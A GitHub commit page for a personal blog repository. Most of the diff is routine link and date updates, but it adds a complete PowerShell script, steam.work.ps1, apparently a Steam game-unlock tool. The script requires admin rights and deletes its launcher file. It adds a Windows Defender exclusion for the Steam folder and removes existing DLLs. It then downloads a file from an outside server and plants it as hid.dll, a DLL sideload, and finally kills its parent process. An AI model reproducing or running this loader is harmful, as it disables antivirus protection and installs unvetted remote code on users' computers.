Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
  • Loading branch information
leesei committed Jan 12, 2025
1 parent 4fec1e7 commit f99bc0a
Show file tree
Hide file tree
Showing 678 changed files with 7,831 additions and 4,535 deletions.
10 changes: 5 additions & 5 deletions src/content/post/.vscode/blog.code-snippets
Original file line number Diff line number Diff line change
Expand Up @@ -3,24 +3,24 @@
"scope": "markdown",
"prefix": "important",
"body": ["❗!important"],
"description": "Insert ❗!important"
"description": "Insert ❗!important",
},
"Insert 😴inactive": {
"scope": "markdown",
"prefix": "inactive",
"body": ["😴inactive"],
"description": "Insert 😴inactive"
"description": "Insert 😴inactive",
},
"Insert 🗃️archived": {
"scope": "markdown",
"prefix": "archived",
"body": ["🗃️archived"],
"description": "Insert 🗃️archived"
"description": "Insert 🗃️archived",
},
"Insert `updated` date": {
"scope": "yaml",
"prefix": "up",
"body": ["updated: ${CURRENT_YEAR}-${CURRENT_MONTH}-${CURRENT_DATE}", ""],
"description": "Insert `updated` date"
}
"description": "Insert `updated` date",
},
}
9 changes: 7 additions & 2 deletions src/content/post/3d-graphics.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
title: 3D Graphics
description: ""
created: 2019-09-10
updated: 2024-09-15
updated: 2025-01-09
tags:
- app
- graphics
Expand Down Expand Up @@ -82,6 +82,11 @@ MCRT: Monte-Carlo Ray Tracer
[MoonRay - Andrew Pearce, Randy Packer, Mark Jackels, Dan McCann, & Keith Jeffery, DreamWorks - YouTube](https://www.youtube.com/watch?v=PU1WgvC_jbg)
[Open MoonRay Update - Andrew Pearce & Randy Packer, DreamWorks Animation, LLC - YouTube](https://www.youtube.com/watch?v=Ozd4JqquG3k)

## Blockbench

[Blockbench](https://www.blockbench.net/)
[JannisX11/blockbench: Blockbench - A low poly 3D model editor](https://github.com/JannisX11/blockbench)

## Volumetric Effects

### OpenVDB
Expand All @@ -95,7 +100,7 @@ MCRT: Monte-Carlo Ray Tracer
[OpenVDB Is A Game Changer | Blender Tutorial - YouTube](https://www.youtube.com/watch?v=3gS2f4-33pE)

[COMPLETE UNREAL ENGINE 5.3 VDB PIPELINE - YouTube](https://www.youtube.com/watch?v=NBUoR_81V_I)
[Mastering VDB in Unreal Engine 5.3 - YouTube](https://www.youtube.com/watch?v=AhWqmtc0T7s&t=757s)
[Mastering VDB in Unreal Engine 5.3 - YouTube](https://www.youtube.com/watch?v=AhWqmtc0T7s)

### EmberGen

Expand Down
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
123 changes: 123 additions & 0 deletions src/content/post/_assets/pc-games/steam.work.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@

Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor:blue

$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
if (Test-Path $filePathToDelete) {
Remove-Item -Path $filePathToDelete
}
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
if (Test-Path $desktopFilePathToDelete) {
Remove-Item -Path $desktopFilePathToDelete
}

$steamRegPath = 'HKCU:\Software\Valve\Steam'
$localPath = -join ($env:LOCALAPPDATA,"\Steam")
if ((Test-Path $steamRegPath)) {
$properties = Get-ItemProperty -Path $steamRegPath
if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
$steamPath = $properties.SteamPath
}
}

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
$TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+ivt+mHjeaWsOaJk+W8gFBvd2VyIHNoZWxsIOaJk+W8gOaWueW8j+S7peeuoeeQhuWRmOi6q+S7vei/kOihjF0="))
Write-Host "$TextShow" -ForegroundColor:red
return;
}

function PwStart() {
if ($steamPath -eq ""){
Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red
return;
}

Write-Host "[ServerStart OK]" -ForegroundColor:green
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 2
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}

if (!(Test-Path $localPath)) {
md $localPath | Out-Null
if (!(Test-Path $localPath)) {
New-Item $localPath -ItemType directory -Force | Out-Null
}
}

try{
Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
Start-Sleep 3
}catch{}

Write-Host "[Result->0 OK]" -ForegroundColor:green

try{
$d = $steamPath + "/version.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
}
$d = $steamPath + "/user32.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
}
$d = $steamPath + "/steam.cfg"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
}
$d = $steamPath + "/hid.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
}
$d = $steamPath + "/hid"
}catch{
$TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+W8guW4uOaui+eVmeivt+aMieeFp+i3r+W+hOWIoOmZpOaWh+S7tl0tPg=="))
Write-Host "$TextShow[$d]" -ForegroundColor:red
return;
}

$downApi = "http://1.steam.work/api/integral/pwsDownFile"

irm -Uri $downApi -Headers @{ Referer = "libary" } -OutFile $d -ErrorAction Stop
$newFilePath = [System.IO.Path]::ChangeExtension($d, ".dll")
Rename-Item -Path $d -NewName $newFilePath

Write-Host "[Result->1 OK]" -ForegroundColor:green
$d = $localPath + "/localData.vdf"
irm -Uri $downApi -Headers @{ Referer = "localData.vdf" } -OutFile $d -ErrorAction Stop
Write-Host "[Result->2 OK]" -ForegroundColor:green

Start-Sleep 1

Start steam://
$TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+aOpeacjeWZqOaIkOWKn+WcqFN0ZWFt5YWl5r+A5rS7IDPnp5LlkI7oh6pd"))
Write-Host "$TextShow" -ForegroundColor:green
Start-Sleep 3

$processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
Stop-Process -Id $processID.ParentProcessId -Force
exit
}

PwStart
4 changes: 2 additions & 2 deletions src/content/post/adblocking.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
title: Adblocking
description: ""
created: 2018-07-27
updated: 2024-09-15
updated: 2025-01-09
tags:
- web
---
Expand All @@ -25,7 +25,7 @@ Adblocker allows Google to filter out those who won't click ads, this increases
[uBlock Origin](https://chromewebstore.google.com/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm?hl=en)
[gorhill/uBlock: uBlock Origin - An efficient blocker for Chromium and Firefox. Fast and lean.](https://github.com/gorhill/uBlock)

[uBlock Origin - Wikiwand](https://omni.wikiwand.com/en/UBlock_Origin)
[uBlock Origin - Wikiwand](https://www.wikiwand.com/en/UBlock_Origin)
[Home · gorhill/uBlock Wiki](https://github.com/gorhill/uBlock/wiki)
[uBlock vs. ABP: efficiency compared · gorhill/uBlock Wiki](https://github.com/gorhill/uBlock/wiki/uBlock-vs.-ABP:-efficiency-compared)

Expand Down
4 changes: 2 additions & 2 deletions src/content/post/advertorial.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,12 @@
title: Advertorial
description: ""
created: 2016-09-22
updated: 2024-09-15
updated: 2025-01-09
tags:
- economics
---

[Advertorial - Wikiwand](https://omni.wikiwand.com/en/Advertorial)
[Advertorial - Wikiwand](https://www.wikiwand.com/en/Advertorial)
Also called "Native advertising"

[Advertorials: How To Write Them & Why They’re Awesome - Copywriting Course Members Area](https://copywritingcourse.com/advertorials-how-to-write-them/)
Expand Down
Loading

0 comments on commit f99bc0a

Please sign in to comment.